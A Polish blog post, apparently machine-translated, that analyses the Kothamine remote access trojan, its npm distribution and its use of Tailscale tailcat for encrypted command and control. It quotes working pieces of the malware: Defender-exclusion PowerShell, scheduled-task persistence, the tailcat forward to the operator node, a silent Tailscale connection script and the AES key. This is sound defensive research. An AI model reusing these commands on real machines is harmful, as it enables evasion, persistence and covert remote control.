Szkodliwe oprogramowanie Kothamine wykorzystuje tailcat firmy Tailscale do unikania wykrycia sieciowego 

| 25 września 2026
Szkodliwe oprogramowanie Kothamine wykorzystuje tailcat firmy Tailscale do unikania wykrycia sieciowego 

Odkryliśmy nieudokumentowanego trojana zdalnego dostępu (RAT) o nazwie Kothamine Agent . Obsługuje on ponad 30 poleceń i daje atakującym kontrolę nad zainfekowanym Windows Komputer: mogą uruchamiać polecenia, odczytywać i modyfikować pliki oraz dodawać nowe funkcje. Niektóre wersje potrafią również wykradać dane z przeglądarki i nagrywać za pomocą kamery i mikrofonu. 

Znaleźliśmy powiązanie Kothamine ze złośliwymi pakietami npm, co może narazić na ryzyko użytkowników i programistów instalujących te pakiety. W najnowszych wersjach złośliwe oprogramowanie wykorzystuje tailcat , narzędzie open source firmy Tailscale, do odbierania poleceń przez szyfrowane połączenie. Utrudnia to inspekcję komunikacji i uniemożliwia obrońcom blokowanie konwencjonalnej domeny poleceń i kontroli (C2).

Na podstawie danych przesłanych do VirusTotal i zatwierdzonych w GitHubie, Kothamine wydaje się być rozwijany lub dystrybuowany co najmniej od lipca. Wcześniejsze wersje korzystały z Tailscale. VPN Zamiast tailcata. W zależności od wersji, złośliwe oprogramowanie zawiera narzędzia sieciowe lub pobiera je ze źródeł, takich jak GitHub.

Jak zachować bezpieczeństwo 

Przed zainstalowaniem nieznanego pakietu npm sprawdź jego repozytorium, opiekunów, zależności i najnowsze wydania. Wyszukaj raporty o szkodliwej aktywności i preferuj pakiety z ugruntowaną historią i regularną konserwacją.

  • Sprawdź uważnie nazwę. Upewnij się, że nie pobierasz fałszywego pakietu o podobnej nazwie. 
  • Sprawdź dewelopera lub organizację i upewnij się, że wydawca wydaje się wiarygodny. Sprawdź na przykład, czy ma stronę internetową lub repozytorium GitHub. 
  • Przeczytaj recenzje, problemy i raporty. Wyszukaj nazwę pakietu w Google i sprawdź raporty o wykryciu potencjalnego złośliwego oprogramowania. 
  • Spójrz, jak popularny jest ten pakiet. Pakiet z wieloma pobraniami i użytkownikami jest zazwyczaj łatwiejszy do zweryfikowania niż zupełnie nowy pakiet z praktycznie zerową historią. 

Analiza techniczna

Kothamine i złośliwe pakiety npm

Kothamine jest napisany w językach C i C++. W większości analizowanych przez nas próbek składa się z iniektora i biblioteki DLL zawierającej agenta. Agent obsługuje ponad 30 poleceń, pozwalając operatorowi kontrolować zainfekowany system i ładować dodatkowe biblioteki DLL w celu rozszerzenia jego możliwości.

Kothamine Agent przeszedł pewne zmiany z biegiem czasu. Wcześniejsze wersje, które znaleźliśmy w VirusTotal, korzystały z Tailscale. VPN zamiast tailcat, a ciągi znaków nie były szyfrowane. Niektóre funkcje, w tym obejście kontroli konta użytkownika (UAC) i polecenia stealer, zostały wykryte tylko w niektórych kompilacjach. 

W niektórych wersjach Kothamine pobrał pliki Tailscale z oficjalnej strony internetowej Tailscale lub repozytorium GitHub zamiast dołączać je do agenta.

To samo repozytorium GitHub jest cytowane w porada o złośliwym pakiecie npm o nazwie dotnet-runtime-base. Pobieranie pakietu npm-sc-legit.exe z tego repozytorium. W chwili pisania tego tekstu usunięto dwa inne pakiety opublikowane przez tego samego dewelopera.

Autorzy tych kampanii popełnili błąd i opublikowali instrukcje dotyczące ich tworzenia kothamine-stub-cpp w jednym z pakietów. Przewodnik omawia również ładowanie zestawów .NET, czego nie zaobserwowaliśmy w analizowanych przez nas próbkach.

The npm-sc-legit.exe Plik wykonywalny to skompilowana wersja Kothamine, która zawiera również polecenia do kradzieży danych. Nie znaleźliśmy panelu ani konstruktora dla Kothamine, ale funkcje dostępne w różnych kompilacjach sugerują, że operatorzy mogą włączać określone funkcje i polecenia w razie potrzeby.

Poniższa analiza skupia się na niedawnej próbce Kothamine Agent, która wykorzystuje tailcat do komunikacji C2.

Jak działa Kothamine Agent

W analizowanych wersjach plik wykonywalny wewnętrznie nazywany Kothamine Injector wstrzykuje bibliotekę DLL Kothamine Agent, zwykle do explorer.exe. Odwołujemy się również do wcześniejszych wersji, aby pokazać, jak zmienił się agent.

1. Wstrzykiwacz Kothamine

Wstrzykiwacz Kothamine wykonuje następujące operacje: 

  • Dodaje Windows Wykluczenia Defendera przy użyciu programu PowerShell
  • Kopiuje się do %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • Wyodrębnia bibliotekę DLL agenta do %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • Tworzy up.ps1 w %TEMP% za wytrwałość
  • Wstrzykuje bibliotekę DLL agenta do explorer.exe używając OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThreadi LoadLibraryA

The up.ps1 Skrypt tworzy zaplanowane zadanie w celu osiągnięcia trwałości przy użyciu pliku wykonywalnego Injectora: 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2. Agent Kothamine 

Uruchomienie agenta 

Agent tworzy mutex o nazwie Local\KothamineAgentInstance i rozpoczyna wątek główny.

Następnie uruchamia polecenia programu PowerShell w celu dodania pliku wykonywalnego i biblioteki DLL do Windows Lista wykluczeń Defendera:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

W starszych wersjach ciągi znaków nie były szyfrowane. W nowszych wersjach ciągi znaków są odszyfrowywane bezpośrednio lub za pomocą funkcji, które używają XOR z innym kluczem dla każdego ciągu.

Komunikacja C2 przy użyciu tailcata 

Cechą charakterystyczną Kothamine nie jest złożoność techniczna, funkcjonalność agenta ani zaciemnianie, ale wykorzystanie tailcat i tailscale VPN odbierać polecenia do wykonania. Dzięki temu agent zyskuje odporny, szyfrowany kanał komunikacji.

Tailcat to nowy projekt open source wydany przez zespół Tailscale. Tailcat wykorzystuje płaszczyznę danych Tailscale (WireGuard, NAT Traversal i DERP), ale bez jej płaszczyzny sterowania. Według oficjalnej dokumentacji oznacza to, że tailcat nie ma adresów IP, kont, administratorów, użytkowników, kontroli administracyjnej ani zarządzania. Te cechy czynią go atrakcyjnym narzędziem do wykorzystania w złośliwym oprogramowaniu. 

W przeciwieństwie do Tailscale VPN Tailcat nie wymaga konta ani rejestracji urządzenia. Twórcy zaprojektowali go z myślą o krótkotrwałych połączeniach.

Ponieważ nie ma kont, dostęp opiera się na posiadaniu adresu tailcat i kluczy publicznych służących do identyfikacji urządzeń łączących się. Nie zapewnia to jednak całkowitej anonimowości połączenia: hostowane przekaźniki mogą przechowywać logi metadanych.

The tc-address Przekazanie z flagą forward umożliwia klientowi uzyskanie informacji niezbędnych do prawidłowego skierowania żądania. Ponadto tailcat nie wymaga uprzywilejowanego dostępu do maszyny, ponieważ korzysta z narzędzi CLI i bibliotek przestrzeni użytkownika. 

W ostatnich wersjach Kothamine agent wyodrębnia tailcata ze swoich zasobów i zapisuje go jako %ROAMING%\TailscalePortable\tailcat.exe.

Plik wykonywalny tailcat jest uruchamiany za pomocą CreateProcessA funkcja i następujące parametry (wewnętrznie określane jako spawn_tailcat_forward faza): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

To polecenie udostępnia porty serwera tailcat jako standardowe lokalne porty TCP (18080 (w tym przypadku) i żądania są przekazywane do portu 4444 węzła operatora. Kothamine używa funkcji gniazd do łączenia się z 127.0.0.1:18080, gdzie tailcat słucha. 

Jeżeli ciąg identyfikacyjny agenta nie jest pusty, agent wysyła zaszyfrowane żądanie profilu zawierające następujące informacje (run_c2_loop faza): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

Następnie agent wchodzi w pętlę nieskończoną, aby otrzymać polecenia do wykonania z C2 (run_c2_loop (faza). Agent czeka na wykonanie nowych poleceń za pomocą select Funkcja gniazda i okresowo wysyła komunikaty KEEP-ALIVE, jeśli polecenie nie zostanie odebrane. 

Wiadomości wymieniane z C2 są szyfrowane i deszyfrowane przy użyciu algorytmu AES-GCM (aes_encrypt faza).  

32-bajtowy klucz AES jest dekodowany metodą Base64 z ciągu (c2_key faza): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

Obsługiwane polecenia 

W tej kompilacji agent Kothamine obsługuje 30 poleceń powiązane z: 

  • Interakcja z procesami
  • Interakcja z plikiem i katalogiem
  • Wykonaj polecenia powłoki
  • Rozszerz możliwości agenta na podstawie otrzymanych bibliotek DLL
Nazwa polecenia Opis 
sysinfo/systeminfo, curpid Zwraca informacje o systemie, takie jak PID, bieżąca ścieżka, nazwa hosta i system operacyjny (zakodowane na stałe). 
tasklist, kill Zwraca procesy uzyskane za pomocą polecenia „ tasklist /FO CSV /NH ”. Kończy proces określony przez PID za pomocą polecenia „ taskkill /F /PID ”. 
ping Sprawdzenie żywotności, „Pong” wraca do C2. 
ipconfig Wykonuje polecenie „ ipconfig /all ” i zwraca wynik. 
exec, shell_execWykonuje polecenia powłoki za pomocą _popen() i zwraca dane wyjściowe. 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdWspółpracuje z plikami i folderami w systemie. 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, downloadOdczytuje, zapisuje i usuwa dowolne pliki. 
load_featureZapisuje i ładuje otrzymaną bibliotekę DLL zakodowaną w formacie Base64. Biblioteka DLL jest ładowana za pomocą LoadLibraryA , a następnie wykonywana jest metoda „ GetFeatureApi ”, rozwiązana za pomocą GetProcAddress . Zapisuje wskaźniki funkcji wymagane do wykonania funkcji. 
exec_feature, features, list_features, unload_featureWspółpracuje z załadowanymi funkcjami w celu ich przeglądania, uruchamiania lub usuwania. 

Biorąc pod uwagę, że pozostałe polecenia są wspólne dla pozostałych agentów, analiza skupia się na systemie „wtyczek”, który umożliwia operatorowi odbieranie bibliotek DLL i rozszerzanie funkcjonalności agenta. 

System wtyczek 

Aby załadować nową bibliotekę DLL, operator używa polecenia: 

load_feature <name> <B64EncodedDLL> 

Ogólnie rzecz biorąc, proces przebiega następująco. Poniższy kod i nazwy zmiennych zostały zrekonstruowane na podstawie logów użycia i wyników.

  1. Najpierw agent sprawdza, czy funkcjonalność została już załadowana i jeśli tak, to ją wyładowuje: 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. Próbuje utworzyć otrzymaną bibliotekę DLL w lokalizacji uzyskanej za pomocą GetTempPath lub SHGetFolderPathAlub w zakodowanej ścieżce C:\Windows\Temp. Zapisuje zdekodowaną bibliotekę DLL i ładuje ją LoadLibraryA.
  1. Rozwiązuje i wykonuje GetFeatureApi metoda załadowanej biblioteki DLL: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

Nie znaleźliśmy biblioteki DLL, która pozwoliłaby nam na pełną analizę struktury zwróconej przez GetFeatureApi. Jednak analizując kod i ciągi znaków zidentyfikowaliśmy następujące pola: 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

Wskaźniki do załadowanej biblioteki DLL i zwróconej struktury są zapisywane w globalnym zmienna wewnętrznie nazywana g_features, używając tej struktury: 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. Wykonuje init funkcja zawarta w zwróconej strukturze, przekazując jej funkcję używaną do komunikacji C2: 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

Po załadowaniu funkcji operator może uruchomić załadowaną funkcję, korzystając z polecenia: 

exec_feature <functionName> [args] 

Różne konfiguracje Kothamine: Tailscale VPN , Polecenia obejścia UAC i stealer 

Jak wspomniano wcześniej, wykryliśmy wersje Kothamine o różnych możliwościach.

Wcześniejsze wersje używały Tailscale VPN przed wydaniem Tailcata. Pobrali i uruchomili instalator ze strony internetowej Tailscale za pomocą /quiet oraz /silent flagi lub pobrać wymagane pliki bezpośrednio z GitHub. Obejmowały one tailscaled.exe, tailscale.exe, tailscale-ipn.exei wintun.dll.

Niektóre wersje omijają Kontrolę konta użytkownika (UAC) za pomocą fodhelper.exe biegać elevated.ps1W poniższym przykładzie skrypt programu PowerShell uruchamia Tailscale VPN połączenie:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

Następnie agent łączy się z portem 4444 pod adresem IP sieci Tailscale (100.x.x.x) i zaczyna odbierać i wykonywać polecenia.

Wreszcie, jak wspomnieliśmy wcześniej, różne wersje Kothamine obsługują inne polecenia. Na przykład wersja udostępniona na GitHubie zawiera dodatkowe polecenia, w tym: getdiscord, getsessions, screenshot, screensharei cameraUmożliwiają one operatorom:

  • Kradzież plików cookie z różnych przeglądarek
  • Kradzież plików JSON związanych z grami, w tym plików powiązanych ze Steam i Minecraft
  • Rób zrzuty ekranu i nagrywaj za pomocą kamery i mikrofonu
  • Dostęp do zawartości schowka

Wskaźniki naruszenia bezpieczeństwa

Skróty SHA-256 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0:Analiza wstrzykiwacza Kothamine na blogu 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70c:Agent Kothamine analizowany na blogu 

adresy URL 

  • https://github[.]com/cphc811-ui/:Repozytorium służące do pobierania plików wykonywalnych i bibliotek DLL powiązanych z Tailscale VPN 

Podziękowanie    

Porady Mondoo dotyczące analizowanego pakietu npm .


Przeglądaj, jakby nikt nie patrzył. 

Malwarebytes Privacy VPN Twoje połączenie i nigdy nie rejestruje Twojej aktywności, dzięki czemu kolejna przeczytana przez Ciebie wiadomość nie będzieCię osobiście dotykać.Wypróbuj za darmo → 

O autorze

Gabriele jest inżynierem ds. badań nad złośliwym oprogramowaniem, który uwielbia walkę z tym zagrożeniem. Kiedy nie zajmuje się tym, można go spotkać, jak cieszy się przyrodą, sztuką i zwierzętami.